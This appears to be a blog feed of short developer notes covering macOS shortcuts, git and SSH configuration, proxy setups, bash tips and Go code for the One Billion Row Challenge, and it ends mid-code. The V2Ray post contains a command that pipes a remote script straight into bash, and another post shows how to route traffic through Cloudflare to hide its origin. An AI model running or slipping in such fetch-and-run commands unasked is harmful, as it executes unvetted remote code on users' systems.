Press ⌘I to show the inspector for the current file. Press ⌥⌘I to show a floating inspector that updates with the selected file.
Press ⌥⌘C to copy the full pathname of the currently selected file.
Press ⇧⌘. to toggle showing hidden files.
Press ⌥⌘⌫ to immediately delete a file without sending it to the Trash.
Merge folders by holding Option while dragging one folder on top of another folder.
Set a custom icon for a folder by copying the new icon, inspecting the folder (⌘I), and pasting the icon by selecting the folder icon in the upper-left of the inspector window and pressing ⌘V.
Drag selected text into a Finder window to quickly create and save a text clipping. (Text clippings are text files that can’t be edited and don’t require a filename to be saved.)
Press ⌥⌘O to open the selected file and automatically close the Finder window.
Press ⌥⇧⌘V to paste an item while preserving the file permission flags.
Hold Command while dragging an icon in Icon view to align it to a grid.
Restart Finder by holding Option while right-clicking the Finder dock icon and selecting Relaunch.
Drag a folder to the new tab button (only visible if multiple tabs are already open) to open the folder in a new tab.
Press ⌃⌘↑ to open the parent folder in a new window.
If the toolbar is hidden (⌥⌘T), Finder will open folders in a new window.
Press ⌘R with an image selected to rotate it clockwise, and ⌘L to rotate it counter-clockwise.

Dock

Press ⌥⌘D to hide and show the dock.
Press ⌃F3 to move keyboard focus to the Dock. Then use the Left and Right arrow keys to select an app, or type the first few letters of an app. Press Enter to open the selected app, or press the Up arrow key to open the app’s menu.
Hold Control and Shift while mousing over the Dock to temporarily turn on magnification.
Quickly move the Dock to a different side of the screen by holding Shift while dragging the resize handle.
Hold Option while resizing the Dock to resize in multiples of 16 points.
Hold Option and Command while clicking a running app’s Dock icon to hide all other applications.
Open a file in a specific application by dragging the file to the application’s Dock icon. If the application doesn’t accept the file type by default, force open the file by holding Option and Command while dragging the file.
If a dock icon is bouncing repeatedly, stop the bouncing by mousing over the icon.
Hold Control and Command when right-clicking a Dock icon to only see the default system menu options.
Hold Option and Command when clicking on a folder in the Dock to open the folder in a new Finder window.
To open multiple items from a stack, hold Option while selecting an item to open it in the background while keeping the stack open.
After opening a stack, hover the cursor over an item and press the Space bar to preview the item with quick look.
Right-click the Launchpad dock icon to open an app from an inline menu.
In Launchpad, hold Option to enter “jiggle mode” to re-arrange and delete apps.
To add AirDrop to the Dock, navigate to /System/Library/CoreServices/Finder.app/Contents/Applications in Finder and drag the AirDrop icon to the Dock.

Spotlight

Press ⌘B to search the web for the current query.
Press ⌘C to copy the full path to the selected file, or to copy the result of the current calculation.
Press ⌘D to open the Dictionary app with the current query.
Press ⌘L to jump to the dictionary section in the results (if present).
Press ⌘⏎ or ⌘R to reveal the selected file in Finder.
Use the name: filter to only search in the filename.
Add kind:folder to only search for folder names.
Hold Command to show the path to the currently selected file.

Safari

Tab groups organize tabs spatially. Use ⌥⌘{↑,↓,←,→} to navigate tabs in 2D space.
When a video is playing, right click the speaker icon in the address bar or tab to enter Picture-in-Picture (PiP) mode.
Hold Option while closing a tab to close all other tabs except the current tab.
Click and hold the back button to see recent browsing history. Hold Option to see page URLs instead of page titles.
Drag selected text onto the Safari dock icon to quickly search the web for that text.
Press ⇧⌘T to re-open the most recently closed tab or window.
Click and hold on the new tab icon in the toolbar to view recently closed tabs.
Press the Space bar at the beginning of the address bar to change the search engine and to see recent web searches.
Add kind:bookmark to Spotlight searches to search Safari bookmarks and browsing history.
Shift-click a link to add it to Reading List.
Click and hold a bookmark in the bookmarks bar to edit its display title.
Option-click the reload icon or press ⌥⌘R to force a fresh reload of the current webpage.
Right-click the reader icon in the address bar to automatically turn on Reader Mode for all pages on the current website.
After performing a web search and opening a result in the same tab, press ⌥⌘S to go back to the search results page.
Press ⇧⌘I to create a new email message with the contents of the current page.
Hold Option over the History > Clear History menu item to only clear browsing history while preserving website data.
Press ⌃⌘D while hovering over a link to open an inline preview of the link.

Mail

Command-click multiple mailboxes in the left sidebar to simultaneously view all messages from the selected mailboxes.
Select part of a message’s text before replying or forwarding to only include the selected text in the new message.
Drag a file to the Mail dock icon to compose a new message with the file already attached.
Press ⌥⇧⌘N to create a new tab.
Press the Space bar at the end of a message to go to the next message. Hold Shift while pressing the Space bar at the top of a message to go to the previous message.
Start typing the first few characters of the sender, subject, or body to jump to that message in the messages list.
Press ⌥⌘↑ and ⌥⌘↓ to jump to the top-most or bottom-most message in the messages list.
Save an extra copy of an important message by dragging it to the Finder.
If a message bounces, use Message > Send Again on the bounced message to re-send it to a different address.
To add a message to multiple folders, hold Command while dragging the message to each folder.
Press ⇧⌘C to assign a color to a message.
Drag a message into the Notes or Reminders app to add a link to the message.
Press ⌘R and ⇧⌘R while replying to a message to switch between reply and reply-all.
Press ⌥⌫ to delete a message without automatically opening the next message.
Command-click on the currently selected message to unselect it.
If a message has already been replied to, click on the reply icon in the message list to open the reply in a new window.
When creating a new mailbox, add a forward slash to create a nested mailbox.
After performing a search, select a mailbox from the left sidebar to filter the search to that mailbox.
Hold Shift while launching Mail to reset the index.

Preview

Press ` to bring up a magnifier, and then press + and - to resize it.
In a PDF document, re-order the pages in the document by re-ordering the pages in the sidebar.
Merge two PDF documents by dragging pages from one document’s sidebar to the other document’s sidebar.
In the save dialog for an image, hold Option while opening the Format menu to access an extended list of formats.
Hold Option and the Space bar to activate the pan tool.
Hold Option while in text selection mode to switch to rectangular text selection.

Calendar

Hold Shift while dragging an event to set a more precise time instead of snapping to 15-minute intervals.
Click and hold the Accept button in a calendar invite to change which calendar the event is accepted to.
Hold Option while pressing the Accept button in a calendar invite to accept all events.
Hold Command while clicking any calendar’s checkbox in the left sidebar to show or hide all calendars.
Hold Command and Option while clicking a calendar’s checkbox to only show that calendar.
Add kind:event to Spotlight searches to search calendar events.
Resize the mini-calendar in the bottom-left to preview more months.
With an event selected, press ⌃⌥↑ and ⌃⌥↓ to adjust the time of the event. This also works with multiple events selected.
In Week view, press ⌥⌘← and ⌥⌘→ to shift the view by a single day.

Messages

Press ⌘R to directly reply to the latest message in the conversation. Press ⇧⌘R to reply to the latest thread in the conversation.
Press ⌘T to bring up the tapback selector for the latest message. Use the 1-6 number keys to select a reaction.
Press ⌘E to edit the latest sent message.
Press ⌥↑ and ⌥↓ in the message input field to cycle through previously sent messages.
Press ⌘1-9 to jump to a pinned conversation.
Right-click on a message and select Show Times to view exact timestamps for each message.
Right-click the Messages icon in the Dock to quickly view and jump to unread conversations.

Photos

Drag an item to the “My Albums” header section to quickly create an album with that item.
After adding an item to an album, use ⌃⌘A to add other items to that same album.
When editing an image, hold down the M key to compare the modifications to the original.
Hold Option while launching Photos to choose a different photo library to open.
Drag a photo from the Photos app into a Finder window to quickly export the photo, or into the Mail or Messages app to attach the photo.
When editing an image, double-click an adjustment slider to reset it.
When editing an image, hold Option while holding the pointer over an adjustment slider to extend the adjustment range.
Hold Option while clicking the rotate button to reverse the rotation direction.
Hold Shift while cropping a photo to maintain the current aspect ratio, and hold Option to crop from the center of the photo.

TextEdit

In rich text mode, press Option-Tab to insert an outlined list.
Press Option-Escape to autocomplete the current word.
Press ⌃⌥⌘P in the find text field (⌘F) to access special search tokens.
Hold Option while selecting text to make vertical text selections.
The select line dialog (⌘L) supports the following formats: 1-3 selects lines 1-3 in the document +2 selects the 2nd line below the cursor -2 selects the 2nd line above the cursor +2-4 selects 3 lines, starting from 2 lines below the cursor -2-4 selects 3 lines, starting from 2 lines above the cursor

Terminal

Press ⇧⌘A to select the output from the previous command.
Press ⌘L to clear the output from the previous command.
Press ⌃⌘V to paste and format text that is properly escaped for the shell.
Press ⌃T while a command is executing to view runtime statistics about the execution so far.
Press ⌘{↑,↓} to select the previous/next commands. Then press ⇧⌘A to select the output of the currently selected command.
Press ⇧⌘I to set a title for the current window and tab.
Drag a file or folder into a Terminal window to insert its full path. Alternatively, copy a file or folder in Finder and paste it in Terminal to insert its path.

Calculator

Press ⌘T to open a new window that keeps a running history of calculations.
Press ⌘R to enable Reverse Polish notation (RPN) mode.
Press p to insert pi.
Right-click the number display and select “Large Type” to view the current result in a large overlay window.
Use the Convert menu to perform various unit conversions.
In Programmer view (⌘3), click the individual binary bits to toggle between 0 and 1.

QuickTime Player

Grab a single frame from a video by pausing on the desired frame (using the Left and Right arrow keys to navigate individual frames) and pressing ⌘C.

Photo Booth

Hold Option while taking a picture to skip the countdown.
Hold Shift while taking a picture to disable the screen flash.
When choosing one of the distortion effects (on the third page), click and drag the cursor on the image preview to change the effects origin.

How Core Git Developers Configure Git

Fri, 07 Mar 2025 15:46:00 +0800

How Core Git Developers Configure Git

# clearly makes git better

[column]
 ui = auto
[branch]
 sort = -committerdate
[tag]
 sort = version:refname
[init]
 defaultBranch = main
[diff]
 algorithm = histogram
 colorMoved = plain
 mnemonicPrefix = true
 renames = true
[push]
 default = simple
 autoSetupRemote = true
 followTags = true
[fetch]
 prune = true
 pruneTags = true
 all = true

# why the hell not?

[help]
 autocorrect = prompt
[commit]
 verbose = true
[rerere]
 enabled = true
 autoupdate = true
[core]
 excludesfile = ~/.gitignore
[rebase]
 autoSquash = true
 autoStash = true
 updateRefs = true

# a matter of taste (uncomment if you dare)

[core]
 # fsmonitor = true
 # untrackedCache = true
[merge]
 # (just 'diff3' if git version < 2.3)
 # conflictstyle = zdiff3
[pull]
 # rebase = true

Configuring SSH Keys for Multiple GitHub Accounts

Tue, 11 Feb 2025 15:06:00 +0800

Configuring SSH Keys for Multiple GitHub Accounts

Use Different Host values

Host github.com
 HostName github.com
 User git
 IdentityFile ~/.ssh/id_fry_ed25519

Host github-plnx
 HostName github.com
 User git
 IdentityFile ~/.ssh/id_fry_plnx_ed25519

# Instead of the actual URL
$ git clone git@github.com:planet-express/delivery_service.git

# Substitue in our custom Host value for the `github.com` part
$ git clone git@github-plnx:planet-express/delivery_service.git

Automate Substituting the Host

[include]
 path = ~/.gitconfig_custom

# See custom `Host github-plnx` in ~/.ssh/config
[url "github-plnx:planet-express"]
 insteadOf = git@github.com:planet-express

iTerm2 features I find useful

Sun, 09 Feb 2025 08:52:00 +0800

iTerm2 features I find useful

Show Timestamps ==> ⌘+Shift+E
Alert on next prompt ==> ⌘+Option+A
Jump between prompts ==> ⌘+Shift+Down
Hotkeys to scroll one line at a time ==> ⌘+Up and ⌘+Down
Rearrange tabs with hotkeys ==> Ctrl+Shift+B and Ctrl+Shift+F

GitLab CI Can Automatically Check Code Quality! How to Use SonarQube for Code Quality Checks?

Thu, 06 Feb 2025 12:01:22 +0800

Rules that terminal programs follow

Wed, 25 Dec 2024 08:45:00 +0800

“Rules” that terminal programs follow
rule 1: noninteractive programs should quit when you press Ctrl-C
rule 2: TUIs should quit when you press q
rule 3: REPLs should quit when you press Ctrl-D on an empty line
rule 4: don’t use more than 16 colours
rule 5: vaguely support readline keybindings
- rule 5.1: Ctrl-W should delete the last word
rule 6: disable colours when writing to a pipe
rule 7: - means stdin/stdout

Smarter than 'Ctrl+F': Linking Directly to Web Page Content

Wed, 25 Dec 2024 08:45:00 +0800

Smarter than ‘Ctrl+F’: Linking Directly to Web Page Content

syntax

https://example.com/page.html#:~:text=[prefix-,]textStart[,textEnd][,-suffix]

example

https://developer.mozilla.org/en-US/docs/Web/URI/Fragment/Text_fragments#:~:text=without%20relying%20on%20the%20presence%20of%20IDs

LocalStorage vs. IndexedDB vs. Cookies vs. OPFS vs. WASM-SQLite

Fri, 29 Nov 2024 14:58:29 +0800

LocalStorage vs. IndexedDB vs. Cookies vs. OPFS vs. WASM-SQLite

The available Storage APIs in a modern Browser

Cookies

Cookies store small pieces of key-value data that are mainly used for session management, personalization, and tracking. Cookies can have several security settings like a time-to-live or the domain attribute to share the cookies between several subdomains.

LocalStorage

LocalStorage is only suitable for storing small amounts of data that need to persist across sessions and it is limited by a 5MB storage cap. Storing complex data is only possible by transforming it into a string for example with JSON.stringify(). The API is not asynchronous which means if fully blocks your JavaScript process while doing stuff. Therefore running heavy operations on it might block your UI from rendering.

How I configure my Git identities

Mon, 25 Nov 2024 17:35:35 +0800

How I configure my Git identities

includeIf

[includeIf "gitdir:~/code/**"]
path = ~/.config/git/personal
[includeIf "gitdir:~/work/**"]
path = ~/.config/git/work

hasconfig:remote.*.url:

[includeIf "hasconfig:remote.*.url:git@github.com:*/**"]
path = ~/.config/git/config-gh
[includeIf "hasconfig:remote.*.url:git@github.com:orgname/**"]
path = ~/.config/git/config-gh-org
[includeIf "hasconfig:remote.*.url:git@gitlab.com:*/**"]
path = ~/.config/git/config-gl
[includeIf "hasconfig:remote.*.url:git@git.sr.ht:*/**"]
path = ~/.config/git/config-srht

insteadOf

[url "gh-work:orgname"]
insteadOf = git@github.com:orgname

Speeding up the Rust edit-build-run cycle

Mon, 18 Nov 2024 09:10:54 +0800

Speeding up the Rust edit-build-run cycle

Mac Niche App Recommendations and Workflow Share (2024)

Thu, 14 Nov 2024 09:52:00 +0800

Mac Niche App Recommendations and Workflow Share (2024)

Objective-See: An Open Source Project Org for Apple Privacy and Security

Wed, 13 Nov 2024 09:44:00 +0800

Objective-See: An Open Source Project Org for Apple Privacy and Security

While searching for small tools today, I found they have built a bunch of open-source software for macOS, mostly related to privacy and security.

KnockKnock: See what background processes, daemons, launch items, kernel extensions, login items, browser plugins, and more are on your Mac. Much more detailed than “Login Items” (some software auto-starts in other ways).
LuLu: An open-source macOS network firewall that lets you control each application’s network connections in detail (similar to Hands Off!).

Advanced macOS Command-Line Tools

Wed, 13 Nov 2024 09:14:26 +0800

sips - image manipulation

sips -z <height> <width> <image> resizes the specified image, ignoring the previous aspect ratio.

sips -Z <size> <image> resizes the largest side of the specified image, preserving the aspect ratio.

sips -c <height> <width> <image> crops the specified image to the given dimensions (relative to the center of the original image).

sips -r <degrees> <image> rotates the image by the specified degrees.

Sharpen the Axe Before Cutting Wood: My Home Network Setup

Mon, 11 Nov 2024 09:25:57 +0800

Sharpen the Axe Before Cutting Wood: My Home Network Setup

Convert Cloudflare WARP to an HTTP Proxy

Wed, 06 Nov 2024 17:47:06 +0800

Convert Cloudflare WARP to an HTTP Proxy

warp-cli proxy port 60606
warp-cli mode proxy

However, Go programs do not support SOCKS proxies, and I don’t want to manually add a transport.

The good news is that Go respects the http_proxy environment variable by default. So we need to convert the SOCKS proxy to an HTTP proxy.

pproxy -v -l http://127.0.0.1:8118 -r socks5://127.0.0.1:60606

https_proxy=http://127.0.0.1:8118 http_proxy=http://127.0.0.1:8118 curl ipv4.win
curl: (52) Empty reply from server

# pproxy logs
Serving on ipv? 127.0.0.1:8118 by http
http 127.0.0.1:45012 -> socks5 127.0.0.1:60606 -> ipv4.win:80
Unknown remote protocol from 127.0.0.1

Maybe it’s a pproxy issue, so try gost.

Relay V2Ray Traffic via Cloudflare

Tue, 22 Oct 2024 09:24:08 +0800

Install Script

bash <(wget -qO- -o- https://git.io/v2ray.sh)

Preparation

Add a DNS record now. Name: ai, IPv4 address: your VPS IP. The proxy status must be off, so the cloud icon is gray.

Tip: You can use v2ray ip to view your VPS IP.

Add Relay Configuration

Use v2ray add ws ai.233boy.com to add a vmess-ws-tls configuration; remember to replace ai.233boy.com with your domain.

Advanced Shell Scripting Techniques: Automating Complex Tasks with Bash

Wed, 25 Sep 2024 09:23:00 +0800

Advanced Shell Scripting Techniques: Automating Complex Tasks with Bash

Use Built-in Commands

Built-in commands execute faster because they don’t require loading an external process.

Minimize Subshells

Subshells can be expensive in terms of performance.

# Inefficient
output=$(cat file.txt)

# Efficient
output=$(<file.txt)

Use Arrays for Bulk Data

When handling a large amount of data, arrays can be more efficient and easier to manage than multiple variables.

# Inefficient
item1="apple"
item2="banana"
item3="cherry"

# Efficient
items=("apple" "banana" "cherry")
for item in "${items[@]}"; do
 echo "$item"
done

Enable Noclobber

To prevent accidental overwriting of files.

set -o noclobber

Use Functions

Functions allow you to encapsulate and reuse code, making scripts cleaner and reducing redundancy.

Efficient File Operations

When performing file operations, use efficient techniques to minimize resource usage.

# Inefficient
while read -r line; do
 echo "$line"
done < file.txt

# Efficient
while IFS= read -r line; do
 echo "$line"
done < file.txt

Parallel Processing

Tools like xargs and GNU parallel can be incredibly useful.

Error Handling

Robust error handling is critical for creating reliable and maintainable scripts.

# Exit on Error: Using set -e ensures that your script exits immediately if any command fails, preventing cascading errors.
set -e

# Custom Error Messages: Implement custom error messages to provide more context when something goes wrong.
command1 || { echo "command1 failed"; exit 1; }

# Trap Signals: Use the `trap` command to catch and handle signals and errors gracefully.
trap 'echo "Error occurred"; cleanup; exit 1' ERR

function cleanup() {
 # Cleanup code
}

# Validate Inputs: Always validate user inputs and script arguments to prevent unexpected behavior.
if [[ -z "$1" ]]; then
 echo "Usage: $0 <argument>"
 exit 1
fi

# Logging: Implement logging to keep track of script execution and diagnose issues.
logfile="script.log"
exec > >(tee -i $logfile)
exec 2>&1

echo "Script started"

Automating Complex System Administration Tasks:

Automated Backups
System Monitoring
User Management
Automated Updates
Network Configuration

Google Infra

Tue, 24 Sep 2024 09:04:00 +0800

Google’s 5-generation network architecture in ten years

Supply chain attack

Fri, 13 Sep 2024 09:41:00 +0800

Be Alert: Supply Chain Attacks Are Closer Than You Think

github.com/siruspen/logrus false
github.com/sirupsen/logrus true

Lightweight Linux Distributions For Older PCs

Tue, 20 Aug 2024 12:38:00 +0800

lightweight-linux-distributions-for-your-pc

Name	Site	Comment
Puppy Linux	https://puppylinux-woof-ce.github.io/	This tiny OS weighs in at under 300MB, so it can run smoothly even on systems with as little as 512MB of RAM.
Bodhi Linux	https://www.bodhilinux.com/	System requirements are just 512MB of RAM and a 500MHz processor.
Peppermint OS	https://peppermintos.com/	It only needs 512MB of RAM to run, so it will fly on that Pentium 4 machine or Core 2 Duo laptop you have stashed in your closet. While Peppermint OS is light on local resources, it integrates well with cloud and web apps. The OS builds in close integration with services like Dropbox, Google Drive, and more.
AntiX	https://antixlinux.com/	AntiX is designed to run on systems with as little as 64MB of RAM and a Pentium II processor.
Lubuntu	https://lubuntu.me/	Lubuntu will run smoothly on computers with as little as 512 MB of RAM and a 1 GHz processor.

Go Articles

Tue, 20 Aug 2024 08:55:00 +0800

Learn gin Parameter Validation with the validator Library - This One Article Is Enough

String Constraints

excludesall: does not contain any of the UNICODE characters in the parameter, e.g. excludesall=ab

excludesrune: does not contain the rune specified by the parameter, e.g. excludesrune=asong

startswith: starts with the parameter substring, e.g. startswith=hi

endswith: ends with the parameter substring, e.g. endswith=bye

contains: contains the parameter substring, e.g. contains=email

containsany: contains any of the UNICODE characters in the parameter, e.g. containsany=ab

Build a Private Object Storage with Traefik v3 and MinIO in Docker

Tue, 06 Aug 2024 12:26:26 +0800

Makefiles for Web Projects: Manage Your Environment Workflow

Mon, 05 Aug 2024 17:21:24 +0800

Note: Makefile indentation must use tabs, otherwise you’ll get syntax errors.

The Core of a Makefile: Targets

up:
 cp .env.example .env
 docker compose up -d workspace

stop:
 docker compose stop

zsh:
 docker compose exec workspace zsh

This example has three targets: up, stop, and zsh. By default, Make treats the first target as the Goal (it cannot start with a dot), which is the project’s primary workflow. In this case, make and make up do the same thing.
But the copy step above is not a typical Make use case. Make shines at deciding whether each target needs to run. For example, we often store secrets in .env. If .env already exists, we shouldn’t overwrite it by copying .env.example again. In that case, we can make .env a target:

up: .env
 docker compose up -d workspace

.env:
 cp .env.example .env

By default, target names are treated as filenames. The name “make” implies building a target; it will only execute the target’s recipe when the conditions are met (like the file not existing).
- In this example, when you run the up target, if .env doesn’t exist it will run the .env target first to create it, then start the workspace container. If .env already exists, it skips the .env target and starts the container directly.
- Likewise, if there is a file named up in the directory, the up target won’t run. You can define Phony Targets to tell Make that certain targets aren’t filenames, but named workflows instead:

.PHONY: up stop zsh

Add Some Variables

Make supports variables (Variable). Following common Unix environment variable conventions, we usually write them in SCREAMING_SNAKE_CASE. When used, variables are wrapped in $().

Black Hat Go

Thu, 01 Aug 2024 15:10:22 +0800

Hide Within Cloudflare's Global Network

Thu, 01 Aug 2024 14:35:24 +0800

Hide Within Cloudflare’s Global Network

One approach is to use Cloudflare WARP, running WARP in proxy mode instead of taking over global traffic.

warp-cli register
# WARP listens on local port 11111
warp-cli set-proxy-port 11111

# WARP proxy mode
warp-cli set-mode proxy

# Always on
warp-cli enable-always-on

https_proxy=socks5://127.0.0.1:11111 http_proxy=socks5://127.0.0.1:11111 go run main.go

Another approach is to use Cloudflare Workers, with requests forwarded by Workers.

export default {
 async fetch(request: Request): Promise {
 /**
 * Replace `remote` with the host you wish to send requests to
 */
 const remote = "https://example.com";

 return await fetch(remote, request);
 },
};

Git force push

Fri, 26 Jul 2024 12:24:00 +0800

git push --force-with-lease

Illustrating How Data Alignment Affects Memory Usage in Go

Mon, 08 Jul 2024 17:52:37 +0800

Illustrating How Data Alignment Affects Memory Usage in Go

The One Billion Row Challenge in Go: from 1m45s to 3.4s in nine solutions

Mon, 08 Jul 2024 09:50:10 +0800

Baseline

$ time cat measurements.txt >/dev/null
0m1.052s

$ time wc measurements.txt
 1000000000 1179173106 13795293380 measurements.txt
0m55.710s

$ time gawk -b -f 1brc.awk measurements.txt >measurements.out
7m35.567s

BEGIN {
 FS = ";"
}

{
 if (counts[$1]++) {
 mins[$1] = $2 < mins[$1] ? $2 : mins[$1]
 maxs[$1] = $2 > maxs[$1] ? $2 : maxs[$1]
 } else {
 mins[$1] = maxs[$1] = $2 # new entry
 }
 sums[$1] += $2
}

END {
 printf "{"
 n = asorti(mins, sorted)
 for (i = 1; i <= n; i++) {
 station = sorted[i]
 min = mins[station]
 max = maxs[station]
 mean = sums[station] / counts[station]
 printf "%s=%.1f/%.1f/%.1f", station, min, mean, max
 if (i < n) {
 printf ", "
 }
 }
 printf "}\n"
}

Solution 1: simple and idiomatic Go

// r1: simple, idiomatic Go using bufio.Scanner and strconv.ParseFloat
//
// ~1.004s for 10M rows

package main

import (
 "bufio"
 "fmt"
 "io"
 "os"
 "sort"
 "strconv"
 "strings"
)

func r1(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, sum float64
 count int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]stats)

 scanner := bufio.NewScanner(f)
 for scanner.Scan() {
 line := scanner.Text()
 station, tempStr, hasSemi := strings.Cut(line, ";")
 if !hasSemi {
 continue
 }

 temp, err := strconv.ParseFloat(tempStr, 64)
 if err != nil {
 return err
 }

 s, ok := stationStats[station]
 if !ok {
 s.min = temp
 s.max = temp
 s.sum = temp
 s.count = 1
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += temp
 s.count++
 }
 stationStats[station] = s
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := s.sum / float64(s.count)
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, s.min, mean, s.max)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 2: map with pointer values

// r2: use stats pointer as map value to avoid double hashing
//
// ~921ms for 10M rows (1.09x as fast as r1)

package main

import (
 "bufio"
 "fmt"
 "io"
 "os"
 "sort"
 "strconv"
 "strings"
)

func r2(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, sum float64
 count int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]*stats)

 scanner := bufio.NewScanner(f)
 for scanner.Scan() {
 line := scanner.Text()
 station, tempStr, hasSemi := strings.Cut(line, ";")
 if !hasSemi {
 continue
 }

 temp, err := strconv.ParseFloat(tempStr, 64)
 if err != nil {
 return err
 }

 s := stationStats[station]
 if s == nil {
 stationStats[station] = &stats{
 min: temp,
 max: temp,
 sum: temp,
 count: 1,
 }
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += temp
 s.count++
 }
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := s.sum / float64(s.count)
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, s.min, mean, s.max)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 3: avoid strconv.ParseFloat

// r3: parse temperatures manually instead of using strconv.ParseFloat
//
// ~517ms for 10M rows (1.94x as fast as r1)

package main

import (
 "bufio"
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
)

func r3(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, sum float64
 count int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]*stats)

 scanner := bufio.NewScanner(f)
 for scanner.Scan() {
 line := scanner.Bytes()
 station, tempBytes, hasSemi := bytes.Cut(line, []byte(";"))
 if !hasSemi {
 continue
 }

 negative := false
 index := 0
 if tempBytes[index] == '-' {
 index++
 negative = true
 }
 temp := float64(tempBytes[index] - '0')
 index++
 if tempBytes[index] != '.' {
 temp = temp*10 + float64(tempBytes[index]-'0')
 index++
 }
 index++ // skip '.'
 temp += float64(tempBytes[index]-'0') / 10
 if negative {
 temp = -temp
 }

 s := stationStats[string(station)]
 if s == nil {
 stationStats[string(station)] = &stats{
 min: temp,
 max: temp,
 sum: temp,
 count: 1,
 }
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += temp
 s.count++
 }
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := s.sum / float64(s.count)
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, s.min, mean, s.max)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 4: fixed point integers

// r4: use fixed point int32s (*10) instead of float64s
//
// ~491ms for 10M rows (2.04x as fast as r1)

package main

import (
 "bufio"
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
)

func r4(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, count int32
 sum int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]*stats)

 scanner := bufio.NewScanner(f)
 for scanner.Scan() {
 line := scanner.Bytes()
 station, tempBytes, hasSemi := bytes.Cut(line, []byte(";"))
 if !hasSemi {
 continue
 }

 negative := false
 index := 0
 if tempBytes[index] == '-' {
 index++
 negative = true
 }
 temp := int32(tempBytes[index] - '0')
 index++
 if tempBytes[index] != '.' {
 temp = temp*10 + int32(tempBytes[index]-'0')
 index++
 }
 index++ // skip '.'
 temp = temp*10 + int32(tempBytes[index]-'0')
 if negative {
 temp = -temp
 }

 s := stationStats[string(station)]
 if s == nil {
 stationStats[string(station)] = &stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 }
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 }
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 5: avoid bytes.Cut

// r5: avoid bytes.Cut
//
// ~442ms for 10M rows (2.27x as fast as r1)

package main

import (
 "bufio"
 "fmt"
 "io"
 "os"
 "sort"
)

func r5(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, count int32
 sum int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]*stats)

 scanner := bufio.NewScanner(f)
 for scanner.Scan() {
 line := scanner.Bytes()

 end := len(line)
 tenths := int32(line[end-1] - '0')
 ones := int32(line[end-3] - '0') // line[end-2] is '.'
 var temp int32
 var semicolon int
 if line[end-4] == ';' {
 temp = ones*10 + tenths
 semicolon = end - 4
 } else if line[end-4] == '-' {
 temp = -(ones*10 + tenths)
 semicolon = end - 5
 } else {
 tens := int32(line[end-4] - '0')
 if line[end-5] == ';' {
 temp = tens*100 + ones*10 + tenths
 semicolon = end - 5
 } else { // '-'
 temp = -(tens*100 + ones*10 + tenths)
 semicolon = end - 6
 }
 }

 station := line[:semicolon]
 s := stationStats[string(station)]
 if s == nil {
 stationStats[string(station)] = &stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 }
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 }
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 6: avoid bufio.Scanner

// r6: don't use bufio.Scanner to avoid scanning some bytes twice
//
// ~399ms for 10M rows (2.52x as fast as r1)

package main

import (
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
)

func r6(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, count int32
 sum int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]*stats)

 buf := make([]byte, 1024*1024)
 readStart := 0
 for {
 n, err := f.Read(buf[readStart:])
